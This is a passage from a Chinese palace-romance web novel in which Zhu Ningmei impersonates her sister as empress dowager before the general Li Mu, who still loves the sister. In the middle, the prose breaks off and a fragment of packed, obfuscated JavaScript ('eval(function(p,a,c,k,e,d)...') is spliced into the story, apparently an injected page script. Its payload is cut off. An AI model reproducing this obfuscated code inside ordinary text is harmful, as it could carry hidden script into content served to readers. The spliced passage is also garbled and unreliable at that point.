谁知她竟然如此好运,被李穆看上了? 本以为这是一桩好姻缘。 可小妹却在嫁给李穆的第二日,宁肯被公公打死,也要与李穆和离,真不知她当时为何鬼迷心窍! 如今李穆管着边防四十万大军,又掌握着京城二十万驻军,先帝去世后,他挟天子以令诸侯,成了一人之下万人之上的权臣,但有人反抗,便遭屠戮,全家鸡犬不留。 谁敢拂逆他? 姜凤英狠了狠心,道:“把李穆迎进府,将他带到小妹房间外。” 管家闻言,愣住! 管家明白了主母的用意,只是他思量后,劝道:“只怕这样做,二小姐会不高兴。大爷对二小姐总是有愧的,若二小姐在大爷面前告状,大爷只怕又要来跟夫人吵架。” “吵就吵吧,只要他不吓着榕姐就行。”姜凤英深吸一口气,道:“顾不得这么多了,大家都到了绝境,已是无路可走。都五年过去了,小妹该不会还像当年一般任性吧!” 管家朱胜见到主母眼中的笃定,只好转身,去将李穆迎入府中。 回房后,朱凝眉正在看《易经》,顺便给自己算卦玩,卦落,她还没算出来卦象是什么,忽然就听到门外传来管家的声音。 “太后娘娘,忠勇侯来了。” 朱凝梅下意识看向门外,李穆就站在院子里,距离她不远的地方。 她脑海中不由自主地浮现出李穆脸埋在她脖颈处,流着泪叫“雪梅”的记忆。 一时间,她自以为已经愈合的伤疤,忽然撕裂,血流如注。 手中的《易经》再也读不进去,卦象也分辨不出来,她丢下书,捂着不适的胃。再怎么逃也没用,她始终都要跟他见面。 李穆身旁的狗腿子罗克己有些不耐烦,他陪着李穆站在大太阳底下等了一炷香的时间,太后都不肯出来。 从前太后还是皇后那会儿,对他们这些人便不屑一顾。如今这大齐的天已经变了,太后和皇帝都是阶下囚,这俩母子的生死,全看忠勇侯高兴与否。 都要死到临头了,她居然还学不会审时度势! 罗克己悄悄看了一眼李穆,但李穆没什么表情,他双手背在身后,神色平静。 忽然,房间里仿佛传来了摔东西的声音,罗克己见到李穆眯着眼睛,额角青筋毕露,仿佛是不耐烦似的,当即便找到借口,强行生事。他高声道:“太后娘娘,忠勇侯前来拜见,您何不出来迎接?” 叫什么叫!你主子都没说话,你废话那么多干嘛。朱凝眉忍不住想破口大骂,又不是我请你来的,你不想等就滚啊! 朱凝眉很想骂个痛快,但此处并非她在宁城的上大甲道观,门外站着的也不是上大甲那些淳朴的村民,而她全家的生死都拿捏在李穆手里。 她要怎么做,才能振作一点,像小皇帝说的那样,像驯狗一样把李穆驯得服服帖帖,而不是像现在这样,躲在房间里不敢出去。 朱凝眉走到门口,透过门缝往外看。 她只是想看看李穆现在是什么反应,可当她的目光停留在李穆的脸上后,便挪不开了。 往昔和李穆在一起的那段记忆,纷至沓来,让她百感交集,辛酸苦楚涌上心头。 他身着修身的黑色官服,身材高大颀长,肩宽腰窄,脸被晒成古铜色,却还是难以掩盖他五官的俊美,眼眸中还流露着深情。 为什么,让他深情执着的人,从来都不是她! 门外的罗克己,以为在自己的大声吼了一句后,太后会把房门打开,谁知屋内却传来一道清越的女声:“跪下!掌嘴。” 这声音的主人,仿佛天生擅长对人发号施令。 罗克己以为李穆会生气,可他却看见李穆一脸享受的表情,李穆瞪了一眼罗克己,道:“耳朵聋了?太后娘娘的命令,你听不见?” 罗克己十分憋屈地跪下,扇了自己两巴掌。 隔着窗户,朱凝眉看着李穆。 她幼时受苦,当年少女怀春,便希望能有李穆这样威严的男子能护住自己,尤其他在母亲的病榻前答应,今后绝不纳妾,此生只娶她一人为妻。 如果他没有在她对他感情最深的时候,往她身上浇一盆冰水,如今的她和他,又会是怎样一番光景呢? 心中的恨意和怨念,支撑了她的怯懦和软弱。 “李穆,我是让你跪下,掌嘴。”朱凝眉模仿着姐姐冷漠的语调,说出这句话。 李穆笑了笑,跪下了,却没有掌嘴。 “微臣李穆,拜见太后。” 周围安静极了,就连树梢的鸟儿也停止了鸣叫。 朱凝眉明白了李穆是什么意思,他暂时跪下,代表他选择臣服。 他没有听话掌嘴,是在提醒她,他才是掌握所有主权的人。 算了,驯狗之事,并非一朝一夕,需徐徐图之。 朱凝眉道:“滚吧!我今日不会见你。” “明日呢?” “明日要看我心情如何。” 李穆宠溺地笑了笑,站起来,转身往外走。 隔着一扇门,朱凝眉看见李穆大步离开,终于松了口气。 可是,李穆走出几步之后,又忽然回头,眼神狠辣,藏着势不可挡的决心。 朱凝眉透过窗户,对上他的眼神,感到头皮发麻,眼皮子止不住地跳。 走出朱凝眉的院子,李穆停下脚步,看向朱胜,问:“请我进来,是谁的主意?” 朱胜低着头,颤声回答:“是、是夫人的主意。” “你家小姐原话是怎么说的?” 朱胜低着头,不敢回答。 “如实回答,我不会怪你。” “让他滚。”朱胜说完,战战兢兢地补充:“就这三个字。” 谁知李穆却轻声笑了笑,道:“以后别擅作主张,她怎么说的,你便怎么做。” 罗克己满眼不可思议,太后让他滚,李穆居然还能笑得出来。若换了旁人,只怕“滚”字还未落音,人头便已先落地。 谁知李穆看向他时,笑容忽然滞住,眼底布满寒霜:“刚才,谁让你大声惊扰她的?” 罗克己被他吓得腿软,差点跪下。 “末将知错了,不该擅作主张。” 李穆继续往前走,牛筋靴底踩在石砖上,咚咚作响,惊起了躲在屋檐下的鸟雀。 李穆不说话,罗克己冷汗冒出来,湿了后背。 待李穆走出朱家,带着仪仗返回皇宫,他敲打罗克己:“以后注意分寸。她与旁人不同,就连我,也不敢唐突她。再有下次,休怪我不留情面。” 李穆这个杀神,居然还能说出这样的话,他是不是疯了?罗克己忽然起了满身鸡皮疙瘩。 天边的流云随风飘过了巍峨的宫殿上方。 李穆抬头看着天上的云,忽然觉得自己离云很近。 或许有一日,天上的皎皎明月,只会将光芒洒向他一人。 五年前他得胜归来,得知恩人早已嫁入皇宫,成了皇后。那一夜,他心碎了,喝了一夜的酒。酒醒过后,便开始谋划。 他等了五年,好不容易等到老皇帝驾崩,才终于有机会靠近她。 他得有点耐心才行,不能吓着她,都已经等了这么多年,再多等几日又何妨? 难道她还能从他身边再一次逃走? 李穆前脚刚离开朱凝眉的院子,姜凤英便抱着榕姐来朱凝眉的院中,想试探她的态度。 姜凤英并不想得罪这位性格古怪的小姑子。 她没有生育能力,丈夫也没有嫌弃她,反而把小姑子生的孩子抱给她养。按理说,她该知足,这世上谁也没有她命好,遇到这么贴心的丈夫。 可人心总是会不断膨胀,得陇望蜀,她亦如此。 “恭喜小妹,看来李穆很听你的话。” 朱凝眉看向嫂嫂的眼神里充满怜悯,嫂嫂一辈子都挂念着丈夫和孩子,活成了旁人的影子。 不过,她又有什么资格可怜嫂嫂呢? 姜凤英被看得心虚,笑着道:“小妹,你的姿色比从前更俏几分,只是如今穿得太过肃静……我让成衣铺子和珠宝阁的人上门,给你置办几套行头吧。” “嫂嫂不用准备了,等我进宫,还怕没有锦衣华服?” 朱凝眉不像生气的样子,算是给姜凤英喂下一颗定心丸。 一旁榕姐早已经忘记了刚才的不愉快,不知从哪里抓来一条绿色的虫子,放在朱凝眉手心里。朱凝眉假装被她吓得尖叫,被榕姐逗得咯咯笑。 榕姐像小大人一样安慰她:“小姑姑别怕,它不咬人。” 朱凝眉享受着本不该属于她的天伦之乐,一时间竟又几分庆幸朱雪梅的逃离,若非如此,她怎么会有机会再次见到榕姐? 姜凤英试探过几次后,不再担心朱凝眉抢走她的女儿。此刻她看着朱凝眉和榕姐和睦相处,反而有种布施的从容。 榕姐就该是她的女儿,不过是她身体不好,生不了,才借着朱凝眉的肚子走一遭罢了,不是吗? 和榕姐玩闹了半个时辰后,管家又来回禀,说是忠勇侯的夫人到了。 朱凝眉提醒姜凤英:“把榕姐抱去后院。” 旁人看不出榕姐和李穆之间的联系,李穆的妻子,怎么可能看不出来? 这些年,姜凤英一直不敢榕姐出门,也有这个原因。 姜凤英不想惹祸上身,点点头,道:“小妹放心,我晓得的。” “嫂嫂也不必亲自去迎,让朱胜领她进来见我就行。她在朱家住的日子,比嫂嫂还长些。” 姜凤英听完,脸色讪讪的,偏偏朱凝梅说得也没毛病,她无法反驳。 京城无人不知,忠勇侯夫人夏芍原来是朱家的丫鬟,但忠勇侯与朱家二小姐和离后,转头娶了朱家二小姐的丫鬟夏芍。 夏芍嫁入侯府,便如同麻雀飞上枝头成了凤凰,人人都羡慕她命好。 同样,她们也在背后说,朱凝眉就是太蠢,否则怎么会将李穆拱手相让? 夏芍来到朱凝眉房中,屈膝给她请安。 朱凝眉冲她摆了摆手,让她别来这套虚礼:“你还跟我见外?你要是想在我面前摆忠勇侯夫人的架子,存心膈应我,现在就可以走了。” 夏芍见她爽快,也不再见外,她端坐在朱凝眉身旁的椅子上,埋怨起来。 “小姐离京,一走便是五年,也不说给我来封信,难道不是你先对我见外?李穆是你主动放手,我才敢捡,可大家都说,是我抢了你的夫婿。难道小姐也和他们一样,觉得都是我的错?” “我怪你做什么?这些年,除了我兄长,我跟谁都没联系。我何时离开的京城?去了哪里?压根没人关心。既然你选择留在李穆身旁,我当然要成全你。我们又没结仇,不过大家选择的路不同罢了。我说,你这么多怨气做什么?我婚前积攒的那些银票,可全都留给你了。” “小姐后悔了?” “我说后悔,你能还给我?” “银票可以还给小姐,李穆不行。” “看来你现在挺有钱的。”朱凝眉懒懒道:“银子送给了你就是你的,我不会再要回去,反正那些钱大部分都是李穆给的。李穆也是我主动放手的,你捡了就是你的,我不会跟你抢。” 夏芍沉默了片刻,才低沉着声音道:“李穆从来就不是我的。他心里只有大小姐,对他来说,忠勇侯夫人是谁都无所谓。” 朱凝梅无奈地看着夏芍,心里觉得她也很可怜,却说不出话来安慰她。 夏芍的路,是她自己选的,她享了福,也当承受着福气伴随的苦果。 朱凝梅正色道:“李穆只给了我兄长三个月期限,让他必须找到我大姐。他们找不到我大姐,就把我找了回来,想让我当大姐的替身!夏芍,你是这世上与我最亲近之人,这事儿我瞒着谁,也不能瞒你。” “小姐这么信我?不怕我找李穆告状?” “你当然可以去告状!最好让李穆发疯,杀了我们全家泄愤。或者,他只会报复我,把我关起来剥皮抽筋、五马分尸。但我告诉你,我若变成厉鬼,每年中元节必定会来找你索命。” 说完,朱凝眉伸长舌头,做了个鬼脸,去掐夏芍的脖子。 “小姐,别闹了!我最怕鬼,你又不是不知道。” 朱凝眉停下。 “小姐,你现在看见李穆还会恶心吗?”夏芍穿着朱钗华服,眼神却无比黯淡,她缓缓道:“仔细想想,你当这太后反倒对我有好处。至少你看在往日情分上,总会给我们母子一个容身之处。” 朱凝眉愣住,问:“你有儿子了?” 夏芍说:“刚满四岁,成亲那日怀的。” 朱凝眉听完就恶心,夏芍给她当丫鬟习惯了,见她脸色不对,速度飞快地抄起痰盂,捧到她面前—— “呜呕……” 夏芍边捧着痰盂,边埋怨道:“他先睡完你,才睡的我,要恶心也该是我觉得恶心才对。” “夏芍,别、别说,再说我又要吐了……呜呕……” 听到夏芍给李穆生了孩子,刚才朱凝眉站在窗缝里,对李穆俊朗容貌生出的那一星半点的好感,全都消失殆尽。 吐干净后,朱凝眉漱了口,压下胃里的不适,才对夏芍说:“我先给你交个底,我也是不得已,才回来当这个替身,你比谁都清楚,我这辈子最讨厌成为别人的替身。夏芍,我不想与你为敌,等李穆对阿姐执念没那么深了,我就找个机会逃走,绝不会对你侯爷夫人的地位有任何威胁。” 夏芍有气无力地点点头:“好吧,好吧,我知道了。” 朱凝梅认真地看着她:“夏芍,我不相信兄长,也不相信陛下。你和我从小一起长大,这世上我唯独只相信你。你也帮我谋划一下,找个机会,让我在李穆眼皮子底下假死逃走。” 夏芍看着她,无奈地点点头,说:“我会尽量帮你。但你也知道,我这人蠢得很,想不出什么好办法。若我实在帮不了你,也决计不会拖你后腿。” 朱凝眉闭着眼睛,冲她挥挥手:“好了,我要说的都说完了。你回去吧,我现在不舒服,想回榻上躺一躺。” 一想起李穆和夏芍光溜溜躺在床上做那种事的画面,朱凝眉就开始犯恶心。 夏芍和朱凝眉几乎是睡一个被窝长大的,朱凝眉怎么想的,夏芍怎会不知? 小姐这是嫌弃她了。 “事情交代完了,就要赶我走。”夏芍哼了一声,恶声恶气地道:“有本事你下回看见李穆的时候别吐。” 话音未落,朱凝眉又抱着痰盂在吐。 朱凝眉和夏芍在一起说了什么,姜凤英不得而知,但她见夏芍趾高气扬地离开,而夏芍离开后,朱凝眉则声称不舒服闭门谢客,她猜这两人定是因为李穆的事起了争执。 大厅内,姜凤英感慨道:“傻妹妹,当初不知珍惜,将侯夫人的位置拱手让人,现在后悔又有什么用呢?” 朱胜低声道:“依老奴看,小姐未必是在后悔。二小姐云淡风轻,对什么都看得淡,只怕她对李穆也不会上心。” “别看她不争不抢,一脸云淡风轻的模样,便觉得她是个不争气。也许,李穆反倒喜欢她这满不在乎的模样。” 朱胜想说,二小姐对李穆已经死心,想当初她得知李穆真正的心上人是大小姐,娶她只是把她当成替身,便气得新婚第二日便跑回家,闹着要和离。 这男人已经被二小姐抛弃过,她怎么还会再吃回头草呢? 还是家里睡得舒服,屋顶不漏雨,房间不透风,床铺软软的,枕头被子香香的,朱凝眉好像从来都没睡得这么踏实过! 一大早,管家还给她准备了丰盛的早膳。 喝着香甜的百合莲子羹,看着女儿在花园里逗猫,朱凝眉心情愉悦,连头发丝都很满足。她正想着该找个什么借口,推迟进宫的日期。 家里实在太舒服了,她不想进宫。 可她还没想出个妥善的法子,便听到兄长朱归禾脸色苍白地从宫里回来,对她说:“小妹,不好了,李穆把陛下关了起来。” 朱凝眉正在喝银耳百合羹,差点碗都没端稳,她快速咽下嘴里的东西,问:“关在哪了?李穆为什么关他?” “暂时还不知道,我正在让梅景行去打探消息。我现在只知道陛下和李穆一大早便吵起来了,陛下性格沉稳,除非李穆把他逼急了,否则他不会跟李穆轻易吵起来。小妹,我猜李穆忽然对陛下无礼,是为了找个由头让你心甘情愿进宫。无论如何,你今日都必须随我进宫,去救陛下。” 朱凝眉见兄长心急如焚,也没心情吃东西了,只得急匆匆坐上马车入宫。她和小皇帝一见如故,总不能见死不救,任由他被李穆折磨吧! 刚入宫门,梅景行就在宣武门等着她。 小皇帝被李穆关了起来,梅景行急得神色都慌了,他着急道:“我刚才已经打听过了,是李穆出言不逊,惹恼了皇上。皇上愤怒之下扇了李穆一巴掌,才被李穆关了起来。陛下目前尚无性命之忧,只是……他才十四岁,又是九五之尊,奴婢担心他受不得这等委屈。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“想知道?”朱凝眉抬眼看他,笑道:“自己去打听吧。” 梅景行错愕了半晌,笑了笑。 朱凝眉挑眉,反问他:“你当初为何选择自净入宫?我记得你,当初你被几个小太监排挤,要被他们扔到井里,是我救了你。” 在梅景行还没变脸之前,朱凝眉又道:“你不用说给我听,我也不想知道。到了这里,每个人都守着自己的秘密就行,与自己无关的事,不需要多打听。你觉得呢?” “我觉得娘娘真是个妙人。”梅景行只能笑着回答。 终于回到太后寝宫,朱凝眉道:“哀家昨夜没睡好,现在要补一觉。你在门外守着,别让李穆进来,等哀家睡醒了,自会召见他。” 朱凝眉打了个哈欠,往寝殿去了。 昨夜,她辗转难眠,心里想着,她若成了太后,是不是要仗着这个身份,来报复李穆。 可是,她要报复他什么呢? 李穆并没有对不起她,他只是不爱她罢了。 是她对李穆有过孺慕之思,所以才会在她听见李穆趴在她身上却叫着姐姐的名字时,恶心得胃里翻江倒海,推开他之后,抱着痰盂一直吐,吐得停不下来。 刚开始,她对李穆有过恨意,所以她在知道自己怀榕姐后,也不愿意回头去找李穆。 这些年,她在山中清修,睁开眼睛时看这红尘俗世的爱恨纠葛,闭上眼睛时静观己心,早已将自己修炼得情绪寡淡。 她不去想,李穆会做什么。 李穆要怎么做,是他的事。 她要做的,就是扮演好太后这个身份,把李穆唬住,顺便再保护好小皇帝,别让小皇帝还没来得及亲政,就被李穆给杀了。 与此同时,李穆正坐在乾元殿的侧殿上批阅奏折,他现在不但掌握了兵马,还负责监国。 他听得宫人禀报,说太后回宫,立即放下批了一半的奏折,咧着嘴大步往宁安殿走去。 宫里的侍卫,都是他的人,所以他这一路畅通无阻。 唯独走到宁安殿外,却被梅景行那个阉人拦住。 梅景行低声道:“启禀忠勇侯,太后娘娘昨日彻夜未眠,如今正在休息,还请忠勇侯在此稍候。等太后娘娘醒了,自会宣忠勇侯觐见。” 李穆只冷冷地看了梅景行一眼,却也并未强行闯入,而是乖乖站在宫外等着。 梅景行轻声对李穆说完,转头板着脸,对小太监喝道:“没眼色的东西,还不快去给忠勇侯搬张椅子过来。” 朱凝眉说要睡一觉,只是借口,小皇帝还没被李穆放出来,她哪有心情睡觉。 李穆对付小皇帝,明显就是想找个借口,逼她进宫。 她进宫了,李穆现在想必很得意,但她必须得让李穆在外面等几个时辰,杀杀他的锐气,才能把他召进来说话。 朱凝眉并不着急,她先让宫女放好热水,慢慢洗了个澡,再泡上一壶茶,慢慢地品。 等她头发干得差不多,又慢慢梳妆打扮。 等她梳妆打扮好,已经两个时辰过去,李穆依然在殿外耐心地等着,没有让人来催她。 直到朱凝眉实在找不到打发时间的事情做,才对身旁的一名宫女说:“去把李穆叫进来。” 梅景行领着李穆走进来,禀报道:“娘娘,侯爷到了。” 朱凝眉坐在靠窗的软榻上,隔着一张屏风,只模模糊糊看到了李穆的影子。 “给忠勇侯赐座吧,然后你们都出去,哀家要和忠勇侯叙叙旧。” 梅景行担忧道:“娘娘……” “少啰唆,哀家的话,你都不听了?” 朱凝眉敢和李穆独处一室,是因为她知道,李穆对她姐姐朱雪梅有多敬重。 屏风绣着名家真迹——《海棠春睡图》,精美的图案,挡住了对方窥探的目光。 她陪嫁的物件中,也有一幅《海棠春睡图》,因为她曾在姐姐朱雪梅房里见过这样的图,觉得那样式很美,便想着找人画一幅仿品。 但《海棠春睡图》的仿品也很难得,朱凝眉找了很久,都没找到满意的。 那时她已经与李穆订婚,母亲和兄长都同意李穆将她带出去逛街。 彼时李穆将她带到书画斋,陪着她选画。 后来,她看上的《海棠春睡图》被长公主的女儿福康县主看上了,给抢了去。 朱凝眉知道自己是家里不受宠的女儿,被人抢了画,也不觉得落了颜面,神色淡淡的。因为这种事,她经历得多了,也就不会再生气。 没承想李穆恼了,他站起来,拦住福康县主,态度强硬地从福康县主手中抢走这幅画,然后把画还给她。 福康县主恼了,骂了很多难听的话。 贴心的李穆,却捂住了她的耳朵,阻止那些话钻进她耳朵里,伤了她的心。 当时她还觉得李穆小题大做,犯不上为了自己得罪福康县主,与她结仇。 没想到李穆竟然是福康县主未婚夫婿的上司,第二日,福康县主反而改变了态度,带着礼物登门道歉,和和气气地向她赔罪。 平生第一次,朱凝眉感受到了被人尊重的滋味。 和福康县主发生争执的那一日,李穆将朱凝眉送回朱家后,凶巴巴地对她说:“以后你是我李穆的女人,不用像从前那样畏畏缩缩的,怕得罪谁。记住了吗?” 当时,那是朱凝眉第一次对李穆心动,她点点头,然后羞涩而又大胆地靠近他,攀着他的肩膀,踮起脚,吻上了他的唇。 李穆被她吻懵了,愣了片刻,反应过来后,反而将她搂在怀里,吻得她气喘吁吁,差点在新婚之前就要了他。 最后是她兄长朱归禾在门外咳嗽,提醒李穆,夜已经深了,他该走了。 朱凝眉心怦怦跳,红着脸,将李穆推出了门。 从那次之后,李穆更勤快地找借口叫她出去,他把她带到无人的地方,吻得她气喘吁吁,却在最后一步,停了下来。 他将她搂在怀里,温柔地说:“真希望咱们明日就能成亲。” 与李穆成婚前的那些时光碎片,是她此生最惬意、最舒心的日子。 因为李穆,她的性格终于不再像从前那样畏畏缩缩。 那段时间,她因胆小怯懦,总是被李穆多番调-教。 李穆教她如何冷着脸骂人,还带她去军营里,把她当成普通士兵来操练。因为他总觉得,一个人胆小,是因为身体不够强壮的缘故。 咬牙练了半个月,朱凝眉手脚酸疼,起不来床,然后她在李穆强行拖着起来的时候开始发疯,对李穆拳打脚踢,又抓又咬。 李穆被她挠得满脸伤,却不生气,反而笑着说:“瞧,跟着我操练几日,你脾气果然也跟着练出来了。” 那时,朱凝眉真觉得李穆满心满眼都是自己,于是,她恃宠而骄,但有不顺心,便对李穆发脾气。就连夏芍都在私底下悄悄对她说:“小姐,你现在做得有点过分了,当心李穆怕了你,临时悔婚。” 李穆当然没有悔婚,他如约来娶她,与她拜天地,入洞房。 新婚夜,李穆很开心,要了她一次又一次,直到天亮时,两人方才歇下。 她和李穆尽兴之后,相拥而眠。 睡得迷迷糊糊的,她感觉到脖子上传来滚烫的湿意,她在李穆脸上抹了一把,摸到了他满脸的泪。 她瞬间醒来,因为担心他被梦魇住了,便用力推了推他。 可李穆非但没有醒来,反而在梦里凄凄地唤着:“雪梅,雪梅……” 那些本应早已被她遗忘的记忆,如潮水般再次涌入她的脑海,令她止不住地恶心反胃。 偏偏这时,屏风后传来了李穆卑微而温柔的声音。 “雪梅……我能不能走过来,站在你身边说话。” 4. 第 4 章 朱凝眉用帕子捂着嘴,强行忍住胃里的翻涌。因为憋得太辛苦,泪控制不住地从眼角涌了出来。 她以为自己足够冷静,可以控制住情绪,让自己代入到太后的身份中去。 她不断告诉自己,只有让李穆相信她就是太后,朱家人的性命才能保住,榕姐才能继续在嫂嫂姜氏身边快乐长大。 她不断警告自己,她身上背负着太多人的期待,不能由着性子胡来。 但她越是刻意控制,越适得其反。 “别过来!”她声音略微沙哑和疲惫,如缺水的爬藤般蔫蔫的,提不起力气。 屏风后的李穆,没有那么听话,他察觉她声音有异,不如昨日那般清脆,于是绕过屏风,疾步来到她身旁,却看到了她眼角的泪和眼底的恐惧。 朱凝眉还在努力控制着自己不要在李穆面前呕出来,一个不留神,就看见李穆那张脸出现在自己面前。 一别五年,再次与李穆四目相对,朱凝眉紧张得脑子一片空白。 她眼角那滴泪,让李穆不敢再轻举妄动。 他就站在她面前,隔着两步的距离跪,着半条腿,向她行肃拜礼:“微臣李穆,拜见太后娘娘。” 他目不斜视,语调平缓,却能引得窗外树梢上的鸟儿活蹦乱跳,叽叽喳喳。就连树梢的风都不愿安分守己,让树枝舞得放荡又轻浮。 朱凝眉微微抬起下巴,帕子轻抿掉眼角的泪,用略带潮气的眸子盯着他:“起来吧。” 李穆起身,抬头看她。 他笑容明媚,如夏日荷塘的万顷碧波中绽放得最早的那支荷花,明媚地沐浴在阳光下,快活又自在。 朱凝眉默念了一句福生无量,低垂着目光,语气淡漠道:“忠勇侯,陛下年幼,只是个孩子,他若有言辞不当之处,得罪了你,还望你不要计较。” 冷漠得有些不近人情了。 李穆知道她会因为担心儿子有危险而提前回宫,所以他才能拥有稳操胜券的从容。 可她的冷淡,击溃了他的伪装的从容。 骨子里压抑太久的疯狂劲儿,止不住地冒了出来。 他用目光牢牢锁住她瘦小柔弱的身体,嘴角泛着不经意的笑:“陛下已经十四岁了,寻常百姓家,十四岁已经可以娶妻生子,自立门户。” 咄咄逼人的眼神。 气定神闲的语气。 以及漫不经心地笑。 他还是像从前一样无赖、恶劣,习惯用这种轻轻松松的态度去欣赏旁人的窘迫和无奈。 哪怕他以为自己面对的人,是他爱而不得的朱雪梅。 若是从前,她一定会感到害怕,然后会微微噘着嘴,手臂环着他的腰,顺势依偎在他怀里,娇嗔着埋怨道:“以后你跟我说和能不能别这么凶,我好害怕!” 好在她已经不再是当年那个能被他轻易唬住的小姑娘。 她看着他,想象此时她正在端详镜子里的自己。 她抬起手臂,调整了一下头顶的金钗。 上臂上扬时衣袖滑落,莹白的手臂明晃晃地露出来。 李穆轻轻吞咽了一下,别开了视线。 她放下手臂,调整坐姿,笑盈盈地对李穆道:“我明白了!忠勇侯的意思是,想还政于陛下,让陛下十四岁便立后、亲政。” 心越冷,嘴越甜,笑容也更加灿烂。 说完,她直视着他咄咄逼人的目光,与他眼神交锋。 “娘娘野心真大!”他上前一步,高大的身躯笼罩着她,目光侵略,仿佛要用眼神剥光她的衣服似的。 可恶。 她以为自己不会再犯怵,可是被他用这样的目光盯着,竟然还是会被他逗弄得呼吸急促,脸颊也不由自主地烧了起来。 比不要脸,他是行家,她快马加鞭都追赶不上。 因为身体有些紧张,脑子里也在想着该如何对付他,一时不察,身子往后挪动的瞬间,头不小心撞到了摆在状态上的香炉,鬼使神差般地,发钗和香炉相互勾住了。 扯得她头皮发麻。 “别动!”李穆伸出手,双手捧着她的头,冰凉的手指缓缓地在她脸上摩挲着,力道轻一下,重一下。 她深吸了一口气,极力让自己冷静下来。 李穆弯着腰,脸几乎快要贴着她的脸,认真帮她把勾在香炉上的金钗解了下来,然后他拔出整根金钗,任由她一头青丝披散在脑后。 女子只能在自己的丈夫面前,披散着头发。 李穆的野心,昭然若揭。 “是微臣不好,吓到了太后娘娘。”李穆笑了笑,堂而皇之地把刚从她头上拔下来的金钗放进了他的怀里。 一根发簪而已,安宁宫里多得是,她大方地送给他也不是不行! “知道我怕你,还离我这么近!你存心想吓我?”朱凝眉毫不客气地骂他。 李穆笑了笑,只是直起了腰,并未后退。 他身上那股霸道的气息,飘进了她鼻腔里,令她无所适从。 李穆静距离看着她,怀疑自己是不是还在梦里。 从前在战场上,濒临死亡时,他总会梦见朱家大小姐。 那时他躺在尸山血海中,梦见自己被她抱在怀里,她轻轻在他耳边用温柔的声音说:“李穆,别睡着,快点醒过来。我在京城等你,等你来娶我!李穆,快点回来娶我……” 可是为什么,当他带着满身伤痕和累累功勋从战场浴血归来后,却在皇帝身旁的凤椅上看见了她? 为什么他梦寐以求的朱家大小姐成了皇后,她用那双没有温度的眼眸,浇灭了他灼热滚烫的希望? 为什么他要忍受这凌迟般的折磨,而不是干净利落地死在战场上! 还好他没有死。 浑浑噩噩了这么多年,谁能想到呢? 老天终究待他不薄,让他熬死了那位年迈的老皇帝! 她还这么年轻,就成了寡妇。 老皇帝身体不好,享不来此等艳福。他李穆身强力壮,胃口如饕餮,什么山珍海味都能吃得下! 现如今,她正就坐在他面前,斜倚着靠窗的榻,光影交错间,她脑后的青丝如流水一般洒下了,遮住了微微松开的领口,却更衬得脖颈处的肌肤赛雪。 窗台上摆着莲花状鎏金香炉,丝丝缕缕的光和香雾,晕染着她貌美的轮廓。 李穆喉结微动,只是看她一眼,便浑身灼热起来。 她似乎有些怕他,才不敢正眼看他。 她侧脸对着他,小巧圆润的耳垂粉粉嫩嫩,雪白可爱。 李穆深吸了几口气,只觉得脖子处的扣子系得太紧,勒得他呼吸不畅。 窗外,一双鸟儿正在为对方梳理羽毛,嘴对嘴地喂虫。 夏日的风,穿过窗棂,拂动着她耳畔的青丝,也若有若无地撩拨着李穆的心。 他出自本能地走上前,抬手去触她耳畔的碎发,却在手指碰上发丝的那一刻,见她忽然瞪大双眼。 一双弥漫着水雾的杏眸里藏着愠怒,眼尾还泛着浅浅泪意。 他为她的美貌着迷,醉倒在她身上泛出的缕缕香气里。 可是下一瞬,她抬起脚,用力踢向他的心窝,铆足力气踹了一脚。 李穆惊讶于自己在这种猝不及防的状态下,居然没有下意识地还手,反而配合她的力道,踉跄着后退了两步。 他这种从尸山血海里走出来的人,身体会本能地产生防御,遇到突袭时,往往大脑还没反应过来,身体已经做出反应,将对方击毙。 为什么他刚才没有做出反击? 李穆甚至有些后怕,还好他没有动手,否则此刻的她生死难料。 李穆很快就反应过来,她是朱雪梅啊! 他身体的本能,已经胜过了他的理智,所以他才会毫无保留地信任她。 就在这时,一种熟悉的感觉在他身体里一闪而过,可是要细究,却又无法抓住。 仿佛从前也有那么个人,值得他如此信任。 李穆被她踹了一脚后,只觉得身体里的燥热,越发难以忍受。 尤其她脸色泛着潮红,睫毛都在颤抖。 他脑海里忍不住冒出来一个个恶劣的念头。 凭他如今的权势,整个皇宫的人都要听他的,哪怕他现在做个禽兽,将她占为己有,也没人能阻止? 他还在等什么? 可这真是他想要的吗? 李穆扪心自问,这不是他想要的。 刚才,朱凝眉踢他那一脚,几乎是瞬间作出的反应。 李穆眼中遮掩不住的情愫,还有她身体里隐隐发作的灼热,都不正常。 香炉里散发的阵阵幽香,传入鼻尖。 不好,是催情香! 难道是宫里伺候的人为了讨好李穆,在香炉里放了催情香? 从她心软答应兄长,愿意成为替身的那一刻,便已经做好心理准备,她有可能要跟李穆做那种事。 但不能是现在。 现在她对李穆还有怨气,她怕自己控制不住情绪,趁他睡着,把他给阉了。 朱凝眉立即把香炉盖扭转关闭,阻止里面的催情香雾继续冒出来。 “求忠勇侯开恩,放过我们母子。” 她施施然起身,跪在李穆面前,“砰、砰、砰”的磕头,用痛意遮盖住身体里烧灼感。 磕头时衣服松散,锁骨诱人,酥-胸微露,腰肢盈盈一握,玲珑曲线令人遐想。 抬头时额头红肿,眼神可怜又可恨~ 李穆这么爱朱雪梅,他怎忍心见朱雪梅自残? 但朱凝眉就不同了,这些年,她负责上大甲附近村庄的所有丧仪,磕头也是她的看家本事。头磕得越响,主人家给的赏钱越多。 虽然这些年兄长朱归禾一直往上大甲送钱送粮,但朱凝眉一直畅想着终有一日,她能学会挣钱养活自己,从此云游山水间当一只闲云野鹤,心里再无牵挂。 她知道怎样把头磕得砰砰作响,却又不伤着自己。 地板和脑袋碰撞的声音很清晰,听得李穆头皮发麻。 李穆用力握住她的胳膊,将她拉起来,往前一推,将她压倒在窗前的软榻上,震得窗台上的香炉也倒在软榻旁。 还未来得及湮灭的催情香暴露在空气中,浓烈的香味扑鼻而来,她身体里的灼热如猛烈的浪潮般一波波袭来。 李穆高大而沉重的身躯,还压在她身上,令她动弹不得。 朱凝眉恨自己不争气,恨他的同时,还沉迷于他的美貌,脑子里甚至还在胡思乱想,如果李穆接下来吻她,她该拒绝吗? “朱雪梅,我恨你!你笃定了我会对你心软,才敢这么伤我。”李穆用一种爱恨交织的语调,温柔地抚摸她的额头。 但朱雪梅这三个字说出来,如同一盆冷水泼在她头顶,让她彻底清醒。 